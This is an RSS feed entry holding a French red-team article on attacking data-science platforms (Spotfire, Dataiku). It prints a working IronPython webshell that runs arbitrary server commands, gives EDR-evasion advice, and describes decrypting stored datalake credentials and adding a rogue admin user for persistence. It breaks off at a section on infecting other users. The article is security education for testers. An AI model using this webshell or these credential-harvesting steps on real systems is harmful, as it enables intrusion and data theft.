<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>RedTeam - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/tag/redteam/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/tag/redteam/</link>
	<description>Le blog cybersécurité des consultants Wavestone</description>
	<lastBuildDate>Thu, 25 Jul 2024 13:55:11 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>RedTeam - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/tag/redteam/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>DataScience pour la RedTeam: Etendre sa surface d&#8217;attaque</title>
		<link>https://www.riskinsight-wavestone.com/2024/07/datascience-pour-la-redteam-etendre-sa-surface-dattaque/</link>
					<comments>https://www.riskinsight-wavestone.com/2024/07/datascience-pour-la-redteam-etendre-sa-surface-dattaque/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 25 Jul 2024 13:06:07 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[DataScience]]></category>
		<category><![CDATA[RedTeam]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=23633</guid>

					<description><![CDATA[<p>  1. Vue d’ensemble Dans un système d’information, les applications ne sont pas égales. Certaines d’entre elles peuvent être utilisées comme un point d’entrée du système d’information, d’autres comme accélérateurs de compromission, et d’autres sont gardées pour la post-exploitation. Ces...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/07/datascience-pour-la-redteam-etendre-sa-surface-dattaque/">DataScience pour la RedTeam: Etendre sa surface d&rsquo;attaque</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1> </h1>
<h1><span style="color: #451dc7;">1. Vue d’ensemble</span></h1>
<p>Dans un système d’information, les applications ne sont pas égales. Certaines d’entre elles peuvent être utilisées comme un point d’entrée du système d’information, <span style="color: #451dc7;"><strong>d’autres comme accélérateurs de compromission</strong></span>, et d’autres sont gardées pour la post-exploitation. Ces applications sont appelées des cibles à hautes valeurs.</p>
<p>Par exemple, durant une attaque habituelle, l’application développée en interne va être ciblée en premier car elle offre une surface d’attaque importante et permet souvent de l’exécution de code distant sur les serveurs joints au domaine. Les infrastructures <span style="color: #250f6b;"><em>CICD</em> </span>sont exploitées pour facilement rebondir sur le réseau interne à travers l’infection de la pipeline <span style="color: #250f6b;"><em>CICD</em> </span>ou la découverte de secrets supplémentaires. <span style="color: #250f6b;"><em>L’ADCS</em> </span>est fortement sollicité pour accélérer la compromission du domaine à travers l’ensemble des vulnérabilités <span style="color: #250f6b;"><em>ESCXX</em></span>.</p>
<p><span style="color: #451dc7;"><strong>La typologie des applications dans chaque catégorie est restée la même depuis plusieurs années</strong></span>, même si de nouveaux concurrents sont apparus au fil du temps, tels que l’application <span style="color: #250f6b;"><em>SCCM</em></span>, la console <span style="color: #250f6b;"><em>EDR</em></span>, etc. Cependant, étant donné que les mêmes techniques sont utilisées depuis plusieurs années, <span style="color: #451dc7;"><strong>les entreprises ont commencé à sécuriser ces éléments, rendant leur compromission et leur exploitation plus difficiles.</strong></span></p>
<p><span style="color: #451dc7;"><strong>Il est temps d’explorer de nouveaux horizons </strong></span>et renouveler ces anciennes pratiques avec un nouvel ensemble d’applications.</p>
<p>Dans cet article, <span style="color: #451dc7;"><strong>nous allons regarder les applications de DataScience</strong></span>. Avec l’essor du <span style="color: #250f6b;"><em>BigData</em></span>, de plus en plus d’entreprises intègrent une infrastructure de <span style="color: #250f6b;"><em>DataScience</em> </span>à leur système d’information. Nous verrons comment ces applications peuvent être exploitées pour :</p>
<ul>
<li><em>Réaliser une exécution de code à distance</em></li>
<li><em>Faire des mouvements latéraux sur le réseau interne</em></li>
<li><em>La diffusion de logiciels malveillants parmi les utilisateurs</em></li>
<li><em>Faciliter la persistance des accès</em></li>
<li><em>Exploiter le Datalake pour le datamining</em></li>
</ul>
<h1><span style="color: #451dc7;">2. Accès initial sur l’application de DataScience</span></h1>
<p>Il existe de nombreuses applications <span style="color: #250f6b;"><em>DataScience</em> </span>différentes. Dans cet article nous nous concentrerons principalement sur les applications <span style="color: #250f6b;"><em>Spotfire</em> </span>et <span style="color: #250f6b;"><em>Dataiku</em> </span>car ce sont soit les plus populaires, soit qui ont le vent en poupe.</p>
<p>La <span style="color: #250f6b;"><em>DataScience</em> </span>étant encore nouvelle dans les entreprises, ces applications sont souvent déployées et maintenues par le métier et non par la <span style="color: #250f6b;"><em>DSI</em></span>.</p>
<p>Disposer d’une application hors du processus informatique standard (<span style="color: #250f6b;"><em>Shadow IT</em></span>) est souvent intéressant pour un attaquant. En effet, lorsqu’une application est mise en place en dehors du processus informatique standard, elle ne met souvent pas en œuvre les règles de sécurité standards imposées par l’entreprise. Ainsi, vous verrez sûrement :</p>
<ul>
<li>Des applications exposées directement sur internet sans protections supplémentaire</li>
<li>Des applications non installées dans une DMZ spécifique avec un accès direct au réseau interne</li>
<li>Des applicaitons avec une authentification locale au lieu du méchanisme d’authentification global de l’entreprise</li>
<li>Un manque de durcissement du processus de déploiement et un manque de déploiement de correctifs de sécurité</li>
</ul>
<p>Ces points peuvent sembler sans importance, mais leur accumulation conduit à la possibilité d’accéder à ces applications directement depuis <span style="color: #250f6b;"><em>Internet</em> </span>avec des informations d’identification non sécurisées, par défaut et toujours valides ou via un contournement d’authentification corrigé il y a quelques années mais jamais mise en place car l’entreprise ne le sait pas ou même ne s’en soucie…</p>
<h1><span style="color: #451dc7;">3. DataScience en tant que RCE as a service</span></h1>
<h2><span style="color: #451dc7;">3.1. Pourquoi utiliser une application de datascience</span></h2>
<p>Avant d’entrer dans le coeur du sujet, prenons un peu de temps pour discuter de l’intérêt et du cas d’utilisation de l’application de <span style="color: #250f6b;"><em>datascience</em></span>.</p>
<p>Prenons comme exemple une entreprise qui vend plusieurs types de produits comme <span style="color: #250f6b;"><em>Amazon</em> </span>ou n’importe quelle marketplace. Cette société souhaite voir en temps réel les produits tendances en fonction de certaines caractéristiques des utilisateurs collectées par les analyses de leur site Web.</p>
<p>Ils peuvent utiliser un fichier <span style="color: #250f6b;"><em>Excel</em> </span>et essayer d’utiliser les fonctionnalités <span style="color: #250f6b;"><em>Excel VBA</em> </span>pour créer des graphiques et des tendances, mais il serait très pénible d’importer manuellement toutes les données dans le fichier <span style="color: #250f6b;"><em>Excel</em> </span>et pour une entreprise comptant des millions de clients, <span style="color: #250f6b;"><em>Excel</em> </span>plantera probablement à chaque fois que quelqu’un éternue à côté.</p>
<p>Pour résoudre ce problème, l’entreprise a commencé à stocker ses données analytiques dans une base de données qui sera appelée <span style="color: #250f6b;"><em>datalake</em></span>. Ensuite, lorsque quelqu’un souhaite créer un joli rapport, il crée un script <span style="color: #250f6b;"><em>python</em> </span>qui se connecte à la base de données, récupère les données pertinentes, les traite via <span style="color: #250f6b;"><em>numpy</em> </span>ou <span style="color: #250f6b;"><em>panda</em> </span>et utilise <span style="color: #250f6b;"><em>matplotlib</em> </span>pour dessiner le graphique et les tendances. C’est bien mieux, l’application peut évoluer, est plus stable mais elle demande des compétences techniques en matière de script donc l’entreprise ne peut pas l’utiliser seule.</p>
<p>La société décide donc de développer une jolie interface pour envelopper tout le script <span style="color: #250f6b;"><em>Python</em> </span>derrière une belle interface utilisateur que tout le monde peut utiliser. Les utilisateurs peuvent se connecter à l’application, choisir les données à importer, les traiter et dessiner des graphiques sans écrire une seule ligne de code.</p>
<p>Ils ont juste créé leur première application de <span style="color: #250f6b;"><em>datascience</em></span>.</p>
<p>Aujourd’hui, les entreprises n’investiront probablement pas plusieurs mois de développement sur ce type de configuration. Ils préfèrent acheter une application commerciale tout-en-un. Parmi ces applications figurent <span style="color: #250f6b;"><em>Spotfire</em> </span>et <span style="color: #250f6b;"><em>Dataiku</em></span>.</p>
<h2><span style="color: #451dc7;">3.2. Où est ma RCE?</span></h2>
<p>Une application <span style="color: #250f6b;"><em>Datascience</em> </span>peut être résumée comme une simple interface pour les scripts de traitement de données. Et parfois, les fonctions intégrées ne suffisent pas, ils exposent donc l’accès à leur moteur de script pour permettre aux développeurs de créer un script personnalisé pouvant être entièrement intégré à l’environnement et utilisé par l’entreprise.</p>
<p> </p>
<h3><span style="color: #451dc7;">3.2.1. Spotfire</span></h3>
<p><span style="text-decoration: underline;"><strong>Infrastructure Spotfire basique</strong></span></p>
<p>Quand déployé tel quel, l’infrastructure <span style="color: #250f6b;"><em>Spotfire</em> </span>ressemble au schéma suivant:</p>
<p><img fetchpriority="high" decoding="async" class="aligncenter size-full wp-image-23734" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01.png" alt="" width="4162" height="1834" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01.png 4162w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01-433x191.png 433w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01-768x338.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01-1536x677.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01-2048x902.png 2048w" sizes="(max-width: 4162px) 100vw, 4162px" /></p>
<p style="text-align: center;"><em>Figure 1: Basic Spotfire infrastructure</em></p>
<p>L’utilisateur se connecte à une <span style="color: #250f6b;"><em>WebUI</em> </span>exposée par <em><span style="color: #250f6b;">Spotfire WebPlayer</span></em> ou via un client lourd <span style="color: #250f6b;"><em>Spotfire</em> </span>dédié directement depuis son poste de travail et accède à son rapport stocké sur le serveur <span style="color: #250f6b;"><em>Spotfire</em></span>. Une fois les rapports ouverts, ils contactent le serveur <span style="color: #250f6b;"><em>Spotfire</em> </span>pour récupérer les données et exécuter le script de nettoyage des données.</p>
<p><span style="text-decoration: underline;"><strong>Execution de code distant</strong></span></p>
<p><span style="color: #250f6b;"><em>Spotfire</em> </span>permet, de par sa conception, l’exécution d’un script <span style="color: #250f6b;"><em>R</em></span>, mais l’exécution d’un script <em><span style="color: #250f6b;">Python</span> </em>peut être facilement activée en chargeant le module de script <span style="color: #250f6b;"><em>IronPython</em></span>.</p>
<p>Dans tous les cas, les utilisateurs peuvent exécuter des scripts directement depuis <span style="color: #250f6b;"><em>Spotfire WebPlayer</em></span> ou le client lourd. Cependant, ils ne peuvent modifier ou créer des scripts qu’à partir du client lourd <span style="color: #250f6b;"><em>Spotfire</em></span>.</p>
<p>Depuis le client lourd, il est possible de créer un nouveau projet. A l’intérieur du projet, il est possible de créer une <span style="color: #250f6b;"><em>UI</em></span>. Créons un webshell <span style="color: #250f6b;"><em>Spotfire</em></span>.</p>
<p>Tout d’abord, nous allons créer <span style="color: #250f6b;"><em>l’UI</em></span>. Il sera composé d’une <span style="color: #250f6b;"><em>textarea</em> </span>pour taper la commande, une autre <span style="color: #250f6b;"><em>textarea</em> </span>pour afficher le résultat de la commande et un bouton pour envoyer la commande :</p>
<p><img decoding="async" class="aligncenter size-full wp-image-23664" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02.jpg" alt="" width="1196" height="758" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02.jpg 1196w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02-301x191.jpg 301w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02-62x39.jpg 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02-768x487.jpg 768w" sizes="(max-width: 1196px) 100vw, 1196px" /></p>
<p style="text-align: center;"><em>Figure 2: UI webshell finale</em></p>
<p>Une fois le projet créé, nous créons une nouvelle page vide. Lorsqu’une page vide est créée, <span style="color: #250f6b;"><em>Spotfire</em> </span>demande si l’on souhaite commencer par des données, une visualisation ou autre :</p>
<p><img decoding="async" class="aligncenter size-full wp-image-23666" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03.jpg" alt="" width="848" height="524" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03.jpg 848w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03-309x191.jpg 309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03-63x39.jpg 63w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03-768x475.jpg 768w" sizes="(max-width: 848px) 100vw, 848px" /></p>
<p style="text-align: center;"><em>Figure 3: nouvelle page Spotfire</em></p>
<p>Nous choisirons “<span style="color: #250f6b;"><em>Start from Visualizations</em></span>” et choisirons le type de visualisation “<span style="color: #250f6b;"><em>Text area</em></span>”. Cela devrait afficher une page entièrement vierge:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23668" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04.jpg" alt="" width="840" height="532" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04.jpg 840w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04-302x191.jpg 302w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04-62x39.jpg 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04-768x486.jpg 768w" sizes="auto, (max-width: 840px) 100vw, 840px" /></p>
<p style="text-align: center;"><em>Figure 4: nouvelle textarea de Spotfire</em></p>
<p>Ce <span style="color: #250f6b;"><em>textarea</em> </span>va contenir l’ensemble du contrôle d’entrée du webshell. Créons une nouvelle <span style="color: #250f6b;"><em>textarea</em> </span>pour le résultat:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23670" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05.jpg" alt="" width="953" height="597" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05.jpg 953w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05-305x191.jpg 305w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05-62x39.jpg 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_05-768x481.jpg 768w" sizes="auto, (max-width: 953px) 100vw, 953px" /></p>
<p style="text-align: center;"><em>Figure 5: seconde textarea de Spotfire</em></p>
<p>Désormais, nous pouvons cliquer sur “<span style="color: #250f6b;"><em>Edit Text Area</em></span>” en haut de la première zone de texte. Cela va permettre la customisation du contenu de la zone de texte.</p>
<p>Ajoutons d’abord un contrôle d’entrée qui servira à taper la commande à envoyer au serveur :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23672" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06.jpg" alt="" width="1140" height="666" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06.jpg 1140w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-327x191.jpg 327w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-67x39.jpg 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-120x70.jpg 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_06-768x449.jpg 768w" sizes="auto, (max-width: 1140px) 100vw, 1140px" /></p>
<p style="text-align: center;"><em>Figure 6: modification de la zone de texte</em></p>
<p>Nous allons lier la valeur du contrôle à une propriété du document pour pouvoir l’utiliser avec notre futur script python. Nous pouvons créer une nouvelle propriété appelée <span style="color: #250f6b;"><em>Input</em> </span>avec le type de données <span style="color: #250f6b;"><em>String</em> </span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23674" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07.jpg" alt="" width="629" height="792" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07.jpg 629w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07-152x191.jpg 152w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_07-31x39.jpg 31w" sizes="auto, (max-width: 629px) 100vw, 629px" /></p>
<p style="text-align: center;"><em>Figure 7: Lier le contrôle au champ de saisie</em></p>
<p>Ensuite, créons un contrôle d’action en cliquant sur le bouton “<em><span style="color: #250f6b;">Insert Action Control</span></em>” en haut de la fenêtre <span style="color: #250f6b;"><em>Edit Text Area</em></span>. Cliquons sur <span style="color: #250f6b;"><em>Script</em> </span>et choisissons le bouton de type contrôle. Ensuite, nous pouvons créer un nouveau script <span style="color: #250f6b;"><em>IronPython</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23676" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08.jpg" alt="" width="826" height="770" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08.jpg 826w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08-205x191.jpg 205w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08-42x39.jpg 42w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_08-768x716.jpg 768w" sizes="auto, (max-width: 826px) 100vw, 826px" /></p>
<p style="text-align: center;"><em>Figure 8: ajout du bouton</em></p>
<p>Remplissez le contenu du script avec le code suivant :</p>
<pre><code>from Spotfire.Dxp.Application.Visuals import *</code><br /><code>from System.IO import *</code><br /><code>from System.Drawing import *</code><br /><code>from System.Drawing.Imaging import *</code><br /><code>from System.Text.RegularExpressions import *</code><br /><code>import subprocess</code><br /><code>vis=visual.As[HtmlTextArea]()</code><br /><code>if 'clean!' in com:</code><br /><code>    vis.HtmlContent = ''</code><br /><code>else:</code><br /><code>    try:</code><br /><code>        vis.HtmlContent = "Executing {}".format(com)</code><br /><code>        process = subprocess.Popen(com.split(" "), stdout=subprocess.PIPE)</code><br /><code>        output, _ = process.communicate()</code><br /><code>        vis.HtmlContent='&lt;br&gt;'.join(output.split('\n'))</code><br /><code>    except Exception as e:</code><br /><code>        vis.HtmlContent="{}".format(e)</code></pre>
<p>Ce code charge un ensemble de bibliothèques <span style="color: #250f6b;"><em>Spotfire</em> </span>utilisées pour communiquer avec l’interface utilisateur. La variable “<span style="color: #250f6b;"><em>visual</em></span>” représente la zone de texte utilisée pour afficher le résultat. La variable “<span style="color: #250f6b;"><em>com</em></span>” contient la valeur du lien de propriété avec notre champ de saisie créé.</p>
<p>Le script exécute la commande stockée dans le “<span style="color: #250f6b;"><em>com</em></span>” et écrit le résultat sur l’élément <span style="color: #250f6b;"><em>UI</em> </span>pointé par la variable “<span style="color: #250f6b;"><em>visual</em></span>”.</p>
<p>Maintenant, nous devons lier les variables “<span style="color: #250f6b;"><em>visual</em></span>” et “<span style="color: #250f6b;"><em>com</em></span>” aux différents éléments du projet. Dans le tableau “<span style="color: #250f6b;"><em>Script parameters</em></span>” , ajoutez un nouveau paramètre :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23678" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09.jpg" alt="" width="532" height="539" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09.jpg 532w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09-189x191.jpg 189w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_09-38x39.jpg 38w" sizes="auto, (max-width: 532px) 100vw, 532px" /></p>
<p style="text-align: center;"><em>Figure 9: Lier le paramètre visual</em></p>
<p>Faisons la même chose pour le paramètre <span style="color: #250f6b;"><em>com</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23680" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10.jpg" alt="" width="623" height="637" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10.jpg 623w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10-187x191.jpg 187w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_10-38x39.jpg 38w" sizes="auto, (max-width: 623px) 100vw, 623px" /></p>
<p style="text-align: center;"><em>Figure 10: Lier le parameter com</em></p>
<p>Désormais, lorsque le script sera exécuté, il liera automatiquement le paramètre <span style="color: #250f6b;"><em>visual</em> </span>au panneau <span style="color: #250f6b;"><em>textarea</em> </span>utilisé pour afficher le résultat et le paramètre <span style="color: #250f6b;"><em>com</em> </span>au contenu de la propriété <span style="color: #250f6b;"><em>Input</em> </span>créée lors de la définition du champ de saisie.</p>
<p>Sauvegardons le tout. Félicitations, nous avons un <span style="color: #250f6b;"><em>webshell</em> </span>fonctionnel:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23682" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11.jpg" alt="" width="809" height="261" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11.jpg 809w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11-437x141.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11-71x23.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_11-768x248.jpg 768w" sizes="auto, (max-width: 809px) 100vw, 809px" /></p>
<p style="text-align: center;"><em>Figure 11: Webshell final</em></p>
<p>S’il est exécuté directement depuis le client lourd, le code ne sera exécuté qu’en local, ce n’est donc pas vraiment intéressant. Cependant, si le code est exécuté directement depuis le<span style="color: #250f6b;"><em> Spotfire Webplayer</em></span>, il sera exécuté sur le serveur <span style="color: #250f6b;"><em>Spotfire</em></span>, entraînant une exécution de code à distance sur le serveur.</p>
<h3><span style="color: #451dc7;">3.2.2. Dataiku</span></h3>
<p>L’exécution de code à distance sur <span style="color: #250f6b;"><em>Dataiku</em> </span>est plus simple. En effet, <span style="color: #250f6b;"><em>Dataiku</em> </span>embarque directement des fonctionnalités de type notebook <span style="color: #250f6b;"><em>Jupyter</em></span>.</p>
<p>En créant un nouveau projet <span style="color: #250f6b;"><em>Jupyter</em></span>, il est possible d’exécuter directement la commande sur le serveur comme le montre la figure suivante :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23684" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12.png" alt="" width="526" height="228" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12.png 526w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12-437x189.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_12-71x31.png 71w" sizes="auto, (max-width: 526px) 100vw, 526px" /></p>
<p style="text-align: center;"><em>Figure 12: Execution de code avec Dataiku</em></p>
<h3><span style="color: #451dc7;">3.2.3. Considération OPSEC</span></h3>
<p>On peut dire que la génération d’un processus <span style="color: #250f6b;"><em>Python</em> </span>en tant que processus enfant pour <span style="color: #250f6b;"><em>Spotfire</em> </span>ou <span style="color: #250f6b;"><em>Dataiku</em> </span>entraînera une détection directe par <span style="color: #250f6b;"><em>l’EDR</em></span>. Cependant, nous devons garder à l’esprit que la création d’un processus <span style="color: #250f6b;"><em>Python</em> </span>est un comportement légitime pour le processus <span style="color: #250f6b;"><em>Spotfire</em> </span>ou <span style="color: #250f6b;"><em>Dataiku</em></span>.</p>
<p>Cependant, si vous commencez à générer <em><span style="color: #250f6b;">cmd.exe</span> </em>directement à partir du script <span style="color: #250f6b;"><em>Python</em></span>, oui, cela pourrait conduire à une détection directe. Mais <span style="color: #250f6b;"><em>python </em></span>est connu pour être suspect par défaut et <span style="color: #250f6b;"><em>l’EDR</em> </span>est un peu plus détendu sur les actions effectuées par un processus <span style="color: #250f6b;"><em>python</em> </span>en raison de plusieurs faux positifs.</p>
<p>Donc, en un mot, la génération du processus <span style="color: #250f6b;"><em>python</em> </span>ne devrait conduire à aucune détection spécifique, mais vous devez faire attention au script que vous exécuterez à partir de celui-ci.</p>
<h1><span style="color: #451dc7;">4. Récolte des identifiants</span></h1>
<p>Avoir une <span style="color: #250f6b;"><em>RCE</em> </span>sur un serveur, c’est toujours intéressant, mais il vaut mieux savoir ce qu’on peut en faire. Tout d’abord, si vous avez obtenu la <span style="color: #250f6b;"><em>RCE</em> </span>sur un ordinateur joint au domaine, vous disposez d’un accès authentifié au domaine, et lorsque vous venez directement depuis Internet, c’est la cerise sur le gâteau.</p>
<p>La spécificité des applications de <span style="color: #250f6b;"><em>datascience</em> </span>est qu’elles sont connectées au datalake. Ces connexions peuvent être des connexions <span style="color: #250f6b;"><em>SQL</em> </span>standard, mais elles peuvent également être des connexions à des <span style="color: #250f6b;"><em>datalake</em> </span>cloud tels qu’<span style="color: #250f6b;"><em>AWS</em></span>.</p>
<p>Ayant une <em><span style="color: #250f6b;">RCE</span> </em>sur le serveur, vous pouvez généralement accéder à toutes les informations d’identification stockées dans l’application.</p>
<h2><span style="color: #451dc7;">4.1. Exemple avec Dataiku</span></h2>
<p>Sur <span style="color: #250f6b;"><em>Dataiku</em></span>, les secrets sont stockés dans le dossier <span style="color: #250f6b;"><em>DATA_DIR/config</em> </span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23686" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13.png" alt="" width="607" height="203" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13.png 607w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13-437x146.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_13-71x24.png 71w" sizes="auto, (max-width: 607px) 100vw, 607px" /></p>
<p style="text-align: center;"><em>Figure 13: Fichiers de configuration de dataiku</em></p>
<p><span style="color: #250f6b;"><em>Users.json</em> </span>contient la base de données utilisateur de <em><span style="color: #250f6b;">dataiku</span></em>. Vous pouvez l’utiliser pour créer un nouvel utilisateur administrateur et conserver la persistance sur l’environnement.</p>
<p>Le fichier <span style="color: #250f6b;"><em>connections.json</em> </span>contient tous les identifiants pour accéder aux <span style="color: #250f6b;"><em>datalakes</em></span>. Cependant, les mots de passe sont stockés chiffrés :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23688" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14.png" alt="" width="488" height="209" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14.png 488w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14-437x187.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_14-71x30.png 71w" sizes="auto, (max-width: 488px) 100vw, 488px" /></p>
<p style="text-align: center;"><em>Figure 14: Mots de passe chiffrés</em></p>
<p>Heureusement, <span style="color: #250f6b;"><em>Dataiku</em> </span>fournit un outil pour décrypter ces informations d’identification :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23690" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15.png" alt="" width="575" height="76" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15.png 575w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15-437x58.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_15-71x9.png 71w" sizes="auto, (max-width: 575px) 100vw, 575px" /></p>
<p style="text-align: center;"><em>Figure 15: Déchiffrement du mot de passe Dataiku</em></p>
<p>Vous pouvez désormais utiliser ces informations d’identification pour accéder à la base de données distante ou directement sur le cloud si elles utilisent <span style="color: #250f6b;"><em>AWS Datalake</em> </span>ou des bases de données stockées sur <span style="color: #250f6b;"><em>AWS</em></span>.</p>
<p>Enfin, le compte <span style="color: #250f6b;"><em>Dataiku</em> </span>utilisé pour exécuter l’instance <span style="color: #250f6b;"><em>Dataiku</em> </span>dispose de tous les privilèges sur les données de l’instance <span style="color: #250f6b;"><em>Dataiku</em></span>. Vous pouvez alors simplement récupérer toutes les données du projet.</p>
<p> </p>
<h1><span style="color: #451dc7;">5. Propagation parmi les utilisateurs</span></h1>
<p>Cette partie s’applique uniquement à <span style="color: #250f6b;"><em>Spotfire</em> </span>car <span style="color: #250f6b;"><em>Dataiku</em> </span>ne fournit pas de client lourd et cette exploitation repose sur le fait que l’utilisateur exécutera du code sur son poste de travail et non sur le serveur distant.</p>
<h2><span style="color: #451dc7;">5.1. Infecter d’autres utilisateurs</span></h2>
